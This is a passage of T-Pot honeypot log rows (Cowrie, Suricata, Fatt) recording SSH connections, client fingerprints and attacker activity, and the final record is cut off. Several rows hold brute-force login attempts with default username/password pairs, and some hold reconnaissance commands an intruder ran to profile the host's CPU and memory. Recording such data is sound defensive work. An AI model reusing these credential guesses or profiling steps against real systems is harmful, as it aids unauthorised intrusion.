27964	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:15:56.933838+03	2021-09-20 14:30:02.211525+03	{"_id": "1gbrAnwBvYTbRNuEdStT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-powerpc64-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.session.params", "message": [], "session": "10e67aad7ad1", "@version": "1", "timestamp": "2021-09-20T11:15:56.933838Z", "@timestamp": "2021-09-20T11:15:56.933Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
27965	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:15:57.384313+03	2021-09-20 14:30:02.213523+03	{"_id": "0AbrAnwBvYTbRNuEdStT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.login.failed", "message": "login attempt [test/qwerty] failed", "session": "9ee0978bc491", "@version": "1", "password": "qwerty", "username": "test", "timestamp": "2021-09-20T11:15:57.384313Z", "@timestamp": "2021-09-20T11:15:57.384Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
27966	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:15:57.083403+03	2021-09-20 14:30:02.214524+03	{"_id": "2AbrAnwBvYTbRNuEdStT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "a108cc9b3fd7", "@version": "1", "duration": 3.8732030391693115, "timestamp": "2021-09-20T11:15:57.083403Z", "@timestamp": "2021-09-20T11:15:57.083Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
27967	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:15:56.827628+03	2021-09-20 14:30:02.215524+03	{"_id": "1AbrAnwBvYTbRNuEdStT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "c13b2449c12d", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:15:56.827628Z", "@timestamp": "2021-09-20T11:15:56.827Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
27968	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:15:56.963649+03	2021-09-20 14:30:02.216524+03	{"_id": "1QbrAnwBvYTbRNuEdStT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "c13b2449c12d", "@version": "1", "timestamp": "2021-09-20T11:15:56.963649Z", "@timestamp": "2021-09-20T11:15:56.963Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
27969	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:15:57.501106+03	2021-09-20 14:30:02.218523+03	{"_id": "zAbrAnwBvYTbRNuEdStT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 6, "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711", "src_ip": "81.71.17.12", "ttylog": "log/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0 seconds", "session": "10e67aad7ad1", "@version": "1", "duration": 0.5673539638519287, "duplicate": true, "timestamp": "2021-09-20T11:15:57.501106Z", "@timestamp": "2021-09-20T11:15:57.501Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
27970	119.29.153.168	109.199.241.180	Suricata	2021-09-20 14:15:58.225482+03	2021-09-20 14:30:02.219523+03	{"_id": "2QbrAnwBvYTbRNuEdysp", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "119.29.153.168", "asn": 45090, "as_org": "Shenzhen Tencent Computer Systems Company Limited", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "119.29.153.168", "dest_ip": "192.168.20.116", "flow_id": 1589028066243206, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 57250, "dest_port": 22, "timestamp": "2021-09-20T11:15:58.225482Z", "@timestamp": "2021-09-20T11:15:58.225Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
27971	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:15:48.135662+03	2021-09-20 14:30:02.221523+03	{"_id": "QAbrAnwBvYTbRNuEUStZ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 36152, "timestamp": "2021-09-20T11:15:48.135662", "@timestamp": "2021-09-20T11:15:48.135Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
27973	118.70.233.117	109.199.241.180	Fatt	2021-09-20 14:15:48.789182+03	2021-09-20 14:30:02.223523+03	{"_id": "VgbrAnwBvYTbRNuEVStC", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "118.70.233.117", "asn": 18403, "as_org": "The Corporation for Financing & Promoting Technology", "latitude": 21.0313, "location": {"lat": 21.0313, "lon": 105.8516}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Hanoi", "longitude": 105.8516, "region_code": "HN", "region_name": "Hanoi", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "118.70.233.117", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 38938, "dest_port": 22, "timestamp": "2021-09-20T11:15:48.789182", "@timestamp": "2021-09-20T11:15:48.789Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
27974	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:15:49.667977+03	2021-09-20 14:30:02.225523+03	{"_id": "WgbrAnwBvYTbRNuEVisK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 35, "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe", "src_ip": "81.71.17.12", "ttylog": "log/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0 seconds", "session": "10e67aad7ad1", "@version": "1", "duration": 0.5722770690917969, "duplicate": true, "timestamp": "2021-09-20T11:15:49.667977Z", "@timestamp": "2021-09-20T11:15:49.667Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
27975	118.70.233.117	109.199.241.180	Cowrie	2021-09-20 14:15:49.756581+03	2021-09-20 14:30:02.226524+03	{"_id": "WwbrAnwBvYTbRNuEVisK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "118.70.233.117", "asn": 18403, "as_org": "The Corporation for Financing & Promoting Technology", "latitude": 21.0313, "location": {"lat": 21.0313, "lon": 105.8516}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Hanoi", "longitude": 105.8516, "region_code": "HN", "region_name": "Hanoi", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "118.70.233.117", "eventid": "cowrie.login.failed", "message": "login attempt [mysql/redhat] failed", "session": "3bd1d13b4e45", "@version": "1", "password": "redhat", "username": "mysql", "timestamp": "2021-09-20T11:15:49.756581Z", "@timestamp": "2021-09-20T11:15:49.756Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
27976	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:15:49.09634+03	2021-09-20 14:30:02.227526+03	{"_id": "XAbrAnwBvYTbRNuEVisK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'", "session": "10e67aad7ad1", "@version": "1", "timestamp": "2021-09-20T11:15:49.096340Z", "@timestamp": "2021-09-20T11:15:49.096Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
27977	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:15:49.491484+03	2021-09-20 14:30:02.229523+03	{"_id": "XQbrAnwBvYTbRNuEVisK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [webadmin/webadmin] failed", "session": "69d85282752f", "@version": "1", "password": "webadmin", "username": "webadmin", "timestamp": "2021-09-20T11:15:49.491484Z", "@timestamp": "2021-09-20T11:15:49.491Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
27978	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:15:49.900515+03	2021-09-20 14:30:02.230523+03	{"_id": "YQbrAnwBvYTbRNuEWSvz", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "e452297a139f", "@version": "1", "duration": 3.471540927886963, "timestamp": "2021-09-20T11:15:49.900515Z", "@timestamp": "2021-09-20T11:15:49.900Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
27979	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:15:50.356619+03	2021-09-20 14:30:02.231524+03	{"_id": "YgbrAnwBvYTbRNuEWSv0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:48558 (192.168.176.2:22) [session: 4905fbece771]", "session": "4905fbece771", "@version": "1", "protocol": "ssh", "src_port": 48558, "dest_port": 22, "timestamp": "2021-09-20T11:15:50.356619Z", "@timestamp": "2021-09-20T11:15:50.356Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
27980	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:15:50.623485+03	2021-09-20 14:30:02.232524+03	{"_id": "ZQbrAnwBvYTbRNuEWSv0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "4905fbece771", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:15:50.623485Z", "@timestamp": "2021-09-20T11:15:50.623Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
27981	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:15:50.067556+03	2021-09-20 14:30:02.234523+03	{"_id": "aQbrAnwBvYTbRNuEWSv0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.71.17.12", "eventid": "cowrie.command.input", "message": "CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'", "session": "10e67aad7ad1", "@version": "1", "timestamp": "2021-09-20T11:15:50.067556Z", "@timestamp": "2021-09-20T11:15:50.067Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
27982	81.71.17.12	109.199.241.180	Cowrie	2021-09-20 14:15:50.641279+03	2021-09-20 14:30:02.235524+03	{"_id": "agbrAnwBvYTbRNuEWSv0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 35, "type": "Cowrie", "geoip": {"ip": "81.71.17.12", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c", "src_ip": "81.71.17.12", "ttylog": "log/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/ab1fb68311b4d2a718123c07a514cfe211df2e9109eeecc6f6f953af961c763c after 0 seconds", "session": "10e67aad7ad1", "@version": "1", "duration": 0.5744047164916992, "duplicate": true, "timestamp": "2021-09-20T11:15:50.641279Z", "@timestamp": "2021-09-20T11:15:50.641Z", 